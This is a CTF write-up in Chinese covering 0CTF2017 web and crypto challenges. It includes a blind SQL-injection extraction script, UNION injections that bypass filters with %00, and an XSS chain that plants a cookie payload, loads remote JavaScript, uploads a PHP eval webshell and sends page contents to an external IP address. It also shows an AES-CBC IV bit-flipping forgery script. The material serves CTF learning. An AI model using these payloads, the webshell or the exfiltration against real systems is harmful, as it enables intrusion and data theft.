0CTF2017 WEB WriteUp

新博客地址:http://bendawang.site/article/0CTF2017-WEB-WriteUp(ps:短期内csdn和新博客会同步更新)

Temmo’s Tiny Shop

这道题运气比较好,一进去就有很多钱,然后直接买到hint了,后来像是修复了,hint内容也做了修改,不过还是有问题,我重新申请了一个号,发现越买钱越多,然后就直接买到hint了,在后来写wp的时候去申请发现无论怎么酒只有4000,最后做完题看到flag,知道这是个条件竞争的题。
不说了,先直接说最后的注入把,因为前面的步骤由于出题方的失误我们直接就能跳过了。
最后hint就是

select flag from ce63e444b0d049e9c899c9a0336b3c59

显然就是寻找注入点,后来在这里找到了注入点,搜索那儿的order by,然后随便买两个东西,比如这两个

然后在我们输入下面payload时

?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x00),price,name)

结果为:

而输入下面的时候

?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x46),price,name)

结果变成了

所以通过if然后根据其按照什么进行排序就能够成功判断每一位的flag
最后脚本如下:

import requests
r=requests.session()
url="http://202.120.7.197/app.php"
header={"Cookie":"PHPSESSID=5h8kk889lad5a6akggcm14bgr7"}
ans=""
for i in xrange(1,100):for j in xrange(256):if j==37:continueparam="?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{length},1)like({num}),price,name)".format(length=str(i),num=hex(j))print paramcontent=r.get(url+param,headers=header).content#print contentprint jif content.find('"id":"5"')>content.find('"id":"2"'):print jans+=chr(j)print ans.lower()break

替换下大括号就行了。

King of Glory Player List

一道调试js的题,看了源码主要部分如下:

function go()
{args = GetUrlParms();if(args["id"]!=undefined){var value = args["id"];var ar = Module.main(value).split("|");if(ar.length==3){var s = "http://202.120.7.213:11181/api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];window.location.href=s;$(document).ready(function(){content=$.ajax({url:s, async:false});$("#output").html(content.responseText);});}if((ar.length==1)&(ar[0]=='WrongBoy')){alert('Hello Hacker~');}}
}

源码会根据我们输入调用Module.main()函数,如果我们输入有敏感字符,就会返回wrongboy,否则返回正常的格式,包括hash
也就是我们的核心目的就是要在我们非正常输入的情况下让它返回正常的格式然后进行相关操作。
所以我们只需要开两个窗口,一个正常输入,一个非正常输入,然后借助浏览器的调试器进行调试js就可以了,开始用的火狐的,卡爆了,后来换成chrome就流畅了。之前HCTF2016也有类似的题。
单步跟进之后到这里遇到第一个,function.js的7633行的$13变量,正常输入是true,敏感输入是false,

那直接修改源码赋为真值就可以了
第二处在这个判断这里

这个label的值,正确的时候是0,错的时候是12,即错误了就会进入这个if语句,那么我们直接把它改成if(0)就好了。
之后就没有了,就能正常的注入了,不过由于同源策略的原因,异步请求交不过去,所以把源码改成如下

<!DOCTYPE html>
<html>
<head><title>King of Glory Player List</title>
</head>
<body>
<scriptsrc="https://code.jquery.com/jquery-3.1.1.min.js"integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="crossorigin="anonymous"></script>
<script src="function1.js"></script>
<script type="text/javascript">function GetUrlParms()
{var args=new Object();var query=location.search.substring(1);var pairs=query.split("&");for(var i=0;i<pairs.length;i++){var pos=pairs[i].indexOf('=');if(pos==-1) continue;var argname=pairs[i].substring(0,pos);var value=pairs[i].substring(pos+1);args[argname]=unescape(value);}return args;
}
function go()
{args = GetUrlParms();if(args["id"]!=undefined){var value = args["id"];var ar = Module.main(value).split("|");if(ar.length==3){var s = "http://202.120.7.213:11181/api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];window.location.href=s;$(document).ready(function(){content=$.ajax({url:s, async:false});$("#output").html(content.responseText);});}if((ar.length==1)&(ar[0]=='WrongBoy')){alert('Hello Hacker~');}}
}var wait = setInterval(function(){if(Module.main != undefined){clearInterval(wait);go();}}, 100);</script>
<center><h1>King of Glory Player List</h1></center>
<center><div id="output"><h2>hmmmm</h2></div></center>
</body>
</html>

function1.js就是我们调整过得,接下来就能正常的发送请求了。

发现服务端并没有再进行过滤了,然后由这个payload

id=1 order by 2
id=1 order by 3

确定是2列了。
然后开始爆破
爆的表名有fl4g,user
fl4g列名就一个hey
所以

?id=1 and 1=2 union select 1,hey from fl4g

拿到flag。

simplesqlin

一听名字就大概知道是个sql注入,简单判断下是个数字注入
然后试了试,同样通过orderby判断出有三列。
然后发现select被过滤了,然后发现插入%00之后就能绕过

id=1 and 1=2 union se%00lect 1,2,3

接下来有可以爆破了,之后的from和where都被过滤了。
同样可以插入%00进行绕过,得到表名flag,news
flag表的列名也是flag
所以,payload如下:

id=1 and 1=2 union s%00elect 1,flag,3 fro%00m flag

complicated xss

这道题坑了我好久啊。。。
爆破md5就不说了,遇见的次数已经太多了。直接主题
首先是正常的xss点,说是让你访问http://admin.government.vip:8000就能拿到flag了,然后我们试图访问一下这个网页发现有个默认用户,登陆进去之后打印了用户名,即cookie里面username值,那我们的想法就是想办法伪造带标签的cookie,然后跳转过去之后就能执行标签页内容。
另外需要注意的是

在这个页面上述的函数都无法使用。

然后我们开始尝试

<script>function setCookie(name,value,seconds) {seconds = seconds || 0; //seconds有值就直接赋值,没有为0,这个根php不一样。var expires = "";if (seconds != 0 ) { //设置cookie生存时间var date = new Date();date.setTime(date.getTime()+(seconds*1000));expires = "; expires="+date.toGMTString();}document.cookie = name+"="+value+expires+";path=/;domain=.government.vip"; //转码并赋值}
setCookie('username',String.fromCharCode(60,115,118,103,32,111,110,108,111,97,100,61,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,48,52,46,49,54,48,46,52,51,46,49,53,52,58,49,50,51,52,53,47,63,97,61,39,43,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,72,84,77,76,41,62),1000);
location.href='http://admin.government.vip:8000/';</script>

通过这个代码我们成功跳转了过去并且拿到了返回值。
结果目的网页的内容是一个上传表单如下:

<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload">
</p></form>

也就是说我们还要在http://admin.government.vip:8000页面下执行post请求上传文件,构造了好久,最后还是觉得jquery好用啊。
最后这里引入了iframe,然后利用this.contentWindow对象来绕过eval的执行。
最后构造如下:

 <script>function setCookie(name, value, seconds) {seconds = seconds || 0; //seconds有值就直接赋值,没有为0,这个根php不一样。var expires = "";if (seconds != 0 ) { //设置cookie生存时间var date = new Date();date.setTime(date.getTime()+(seconds*1000));expires = "; expires="+date.toGMTString();}document.cookie = name+"="+value+expires+";path=/;domain=.government.vip"; //转码并赋值
}
setCookie('username','<iframe onload=this.contentWindow.eval(String.fromCharCode(118,97,114,32,98,100,119,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,98,100,119,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,98,101,110,100,97,119,97,110,103,46,115,105,116,101,58,56,48,48,48,47,109,121,106,115,47,117,112,108,111,97,100,95,97,106,97,120,46,106,115,34,59,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,98,100,119,41,59))></iframe>',1000)
location.href='http://admin.government.vip:8000/';</script>

中间那一串的String.fromCharCode就是

var bdw=document.createElement("script");bdw.src="http://www.bendawang.site:8000/myjs/upload_ajax.js";document.head.appendChild(bdw);

然后在我的vps上我的upload_ajax.js如下:

var t=document.getElementsByTagName("script")[0];
var sss=document.createElement("script");
sss.src="http://government.vip/static/jquery.min.js";
document.head.insertBefore(sss,t);var body = "------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +"Content-Disposition: form-data; name=\"233\"\r\n" +"\r\n" +"eyJzY3JlZW5faGVpZ2h0Ijo4MjYsInNjcmVlbl93aWR0aCI6MTQ0MH0\r\n" +"------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +"Content-Disposition: form-data; name=\"source_flag\"\r\n" +"\r\n" +"0\r\n" +"------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +"Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n" +"Content-Type: image/png\r\n" +"\r\n" +"GIF89a\x3c?php eval($_REQUEST[A]);?\x3e\x3c/script\x3e\r\n" +"------WebKitFormBoundaryFikh4XTsUA3KuSES--\r\n";setTimeout("makeRequest()",1000)function makeRequest() {var settings = {type: "POST",url:"http://admin.government.vip:8000/upload",data:body,success: function(data,textStatus) {$.get('http://104.160.43.154:12345?a=123+'+data);},headers: {"Access-Control-Allow-Headers":"X-Requested-With","Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryFikh4XTsUA3KuSES","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language":"zh-CN,zh;q=0.8"}};$.ajax(settings);
}

中间的延迟是为了让我创建的引入jquery的标签生效,这样makeRequest才能正常执行,最后这里要吐槽的是我用的火日大佬的xss平台,每次服务器给我的平台发请求,我的平台就崩了,导致最后只能使用nc监听端口,蓝瘦,下面是截图

simple xss

同样的套路,用md5和验证码防爆破,目的就是绕过过滤执行js拿回flag.php下数据
然后好的就是这个可以测试
经过一番fuzz之后发现一下重要符号被过滤

' " : / > . ( ) &  # , % ; ?等等

首先简单确认之后我们可以引入像是script,img,svg,link等关键标签。
这么多过滤势必没办法直接执行语句访问flag.php,那么就想到要么引入我们自己的js,要么加载我们写的界面。然后要输入网址的话,既然说了是最新版本的chrome,就可以用绕过.,然后就是用\\使得其用当前协议https访问链接,payload如下:

<link rel=prefetch href=\\61dclub。com\x
还有import,以及prerender应该也可以不过没有尝试,凡是预加载和预渲染已经直接调用理论上都可以

crypto-integrity

首先拿到源代码如下:

#!/usr/bin/python -ufrom Crypto.Cipher import AES
from hashlib import md5
from Crypto import Random
from signal import alarmBS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]class Scheme:def __init__(self,key):self.key = keydef encrypt(self,raw):raw = pad(raw)raw = md5(raw).digest() + rawiv = Random.new().read(BS)cipher = AES.new(self.key,AES.MODE_CBC,iv)return ( iv + cipher.encrypt(raw) ).encode("hex")def decrypt(self,enc):enc = enc.decode("hex")iv = enc[:BS] ##前16位enc = enc[BS:] ##之后cipher = AES.new(self.key,AES.MODE_CBC,iv)blob = cipher.decrypt(enc)checksum = blob[:BS]data = blob[BS:]if md5(data).digest() == checksum:return unpad(data)else:returnkey = Random.new().read(BS)
scheme = Scheme(key)flag = open("flag",'r').readline()
alarm(30)print "Welcome to 0CTF encryption service!"
while True:print "Please [r]egister or [l]ogin"cmd = raw_input()if not cmd:breakif cmd[0]=='r' :name = raw_input().strip()if(len(name) > 32):print "username too long!"breakif pad(name) == pad("admin"):print "You cannot use this name!"breakelse:print "Here is your secret:"print scheme.encrypt(name)elif cmd[0]=='l':data = raw_input().strip()name = scheme.decrypt(data)if name == "admin":print "Welcome admin!"print flagelse:print "Welcome %s!" % nameelse:print "Unknown cmd!"break

初步想法是padding oracle,但是后来看到有个alarm(30),只有30s的话就不可能是padding oracle了,因为就这个通信速度来看30s完全差得远。
也就是说有别的解法了。
然后想到hash长度扩展攻击的原理。
这里有点类似的。
比如我注册一个账户是admin\0b\0b\0b\0b\0b\0b\0b\0b\0b\0b\0bbdw
然后服务端返回如下:

f751a16eae391dd0f4dbfb5c4a740217  md5值
14c63b729049860cb9905a2ae3d71807  admin\x0b\x0b...
3f17049464bbc44f1bdccde9ea233d1f  bdw\x0d\x0d.....
17ba7e5a78c1fa77811a0c72a519adea  \0x10\0x10......

然后我们想伪造的是

md5值
admin\x0b\x0b...

也就简单了,我们只需要把第一次注册的MD5通过修改IV进行字节翻转成admin\0b\0b\0b\0b\0b\0b\0b\0b\0b\0b\0b的md5就可以了。
所以代码如下:

from pwn import *
from hashlib import md5
N=16
def inject1(cipher):print ciphercon.recvuntil("[l]ogin")#con.interactive()con.sendline('l')con.sendline(cipher)content=con.recvuntil("!")print contentif "None" in content:return 0else:return 1def xor(a, b):return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])pad = lambda s:s+(N-len(s)%N)*chr(N-len(s)%N)def padding_oracle(N,cipher):get=""for i in xrange(1,N+1):for j in xrange(0,256):padding=xor(get,chr(i)*(i-1))c=chr(0)*(16-i)+chr(j)+padding+cipherc=c.encode('hex')print cif inject1(c):get=chr(j^i)+gettime.sleep(0.1)breakreturn getcon=remote('202.120.7.217',8221)
con.recvuntil("[l]ogin")
con.sendline('r')
username=pad('admin')+'bdw'
con.sendline(username)
con.recvuntil("secret:")
c=con.recvuntil("P")
print c
iv=c[1:-2].decode('hex')[:16]
cipher=c[1:-2].decode('hex')[16:48]
#middle=padding_oracle(N,cipher)
plaintext=md5(pad(username)).digest()
des=md5(pad("admin")).digest()
tmp=xor(xor(iv,plaintext),des)
inject1((tmp+cipher).encode('hex'))
con.interactive()

0CTF2017 WEB WriteUp相关推荐

  1. 虎符WEB Writeup

    虎符网络安全比赛 WEB Writeup 转自i春秋 https://bbs.ichunqiu.com/thread-56994-1-2.html 0x01 前言 这次比赛相对于我这个小菜鸡而言收获很 ...

  2. php逻辑难是难在sql,[实验吧] 所有web writeup

    实验吧 writeup 打算把实验吧所有的web题做一遍 花了一个礼拜多的时间吧 有些也看了wp不得不说收获挺大 WEB 简单的登录题 F12看下网络里面里面的请求头中有一个tips:test.php ...

  3. Jarvis OJ web WriteUp

    我要开始做Jarvis OJ上的题目啦!!!之前bugku上还剩下的几道题,之后也会再补上的,做出来之后,就会把思路写到博客里的.新手,有错的地方多多指教.(不是按顺序写的-我就先挑简单的做啦~~~) ...

  4. 从SCTF看JWT安全 (附SCTF web writeup)

    原创作者:Fz41 这两天在打SCTF,有一题涉及到JWT的简单的知识,现在来把JWT相关的知识汇总一下,虽然不是主要的考察内容,但是作为一个基础知识,还是要掌握的. JWT技术介绍 来源 用户认证的 ...

  5. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

  6. 大学生HTML5竞赛网站,2019全国大学生信息安全竞赛Web Writeup

    这次web题真切得让我感受到了我得辣鸡 顿时被打了鸡血 最后只做出来一题,但是有两道题都是马上要出来了最后时间不够 ,这里总结一下 web1 JustSoso 打开之后是这样得 右键查看源码 提示需要 ...

  7. 国赛mysql加固_2019 全国大学生信息安全竞赛创新能力实践赛3道Web Writeup

    0x01 JustSoso 本题的主要知识点在于反序列化的应用和parse_url()函数的解析问题,首先通过网页源码中的文件读取提示读取得到index.php文件源码和hint文件源码,任意文件读取 ...

  8. bugku{web writeup笔记}

    文章目录 web2 计算器 web基础$_GET web基础$_POST 矛盾 web3 域名解析 你必须让他停下 本地包含 web5 头等舱 网站被黑 管理员系统 web4 flag在index里 ...

  9. kss admin index.php,XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

    WEB1--Bestphp 这道题提供index.php源码 index.php highlight_file(__FILE__); error_reporting(0); ini_set('open ...

  10. Bugku旧平台web writeup

    Web基础 Web2 查看网页源代码,搜索flag KEY{Web-2-bugKssNNikls9100} 计算器 审查元素修改输入字符串长度为2 flag{CTF-bugku-0032} web基础 ...

最新文章

  1. BMC Plant biology:高丰度青枯菌改变了番茄根际微生物组和代谢组
  2. CentOS系统dig和nslookup的安装
  3. java多态上转下_(转)java的多态(向上转型、向下转型)
  4. C# 中的 ref 已经被放开,或许你已经不认识了
  5. 沉下来,沉下来,别让自己太浮躁
  6. android l 电池,DIY新技能--M1L换电池
  7. 老机型能更新鸿蒙,华为和荣耀老机型用户有福:确定能批量升级到鸿蒙系统!...
  8. C++读写表格csv——文本与表格完美桥接者
  9. php7 viewmodel,ViewModel浅析
  10. java导入错误怎么解决_eclipse导入文件及导入错误的解决方法
  11. ES11新特性_BigInt---JavaScript_ECMAScript_ES6-ES11新特性工作笔记066
  12. 剑指offer面试题61. 扑克牌中的顺子(排序)(遍历)
  13. keil中 code、data、idata的区别
  14. java se mac 10.9_jdk9mac下载|jdk8(Java SE Development Kit)8 mac2017 最新版_ - 极光下载站
  15. 【合集】SAP 成都研究院开发工程师们精彩纷呈的工作和生活片段
  16. Excel拼接数据库语句
  17. Ubuntu 10.04小企鹅输入法安装
  18. android.media.MediaCodec$CodecException: Error 0xfffffc0e
  19. scala either_使用Either和Option处理功能错误
  20. D.背单词的小智(二分)

热门文章

  1. c语言编程 等边三角形图形,c语言问题 打印图形,菜单包括:直角三角形、等腰三角形,输入图形...,c语言编程 打印图形,菜单包括:矩形,平行四边形,输入图形的...
  2. 【毕业设计--开题报告】论文开题报告常见问题:参考论文格式,visio画箭头,wps段落设置
  3. 使用R语言制作树状图
  4. 使用python爬取股票基金的最新数据消息,并用Excel绘制树状图一目了然
  5. jpeg图片格式详解
  6. 熵增定律:为什么熵增理论让好多人一下子顿悟了
  7. php调用API支付接口 可个人使用,无需营业执照(使用第三方接口,调用的天工接口。)(转自刘68)...
  8. UltraLAB台式图形工作站(独门绝技~多核+超高频~极速计算工作站H490介绍)
  9. 管道—过滤器简介 软件体系结构
  10. python力导向图_力导向 (Force-directed) 布局算法绘图(布点)的简单实现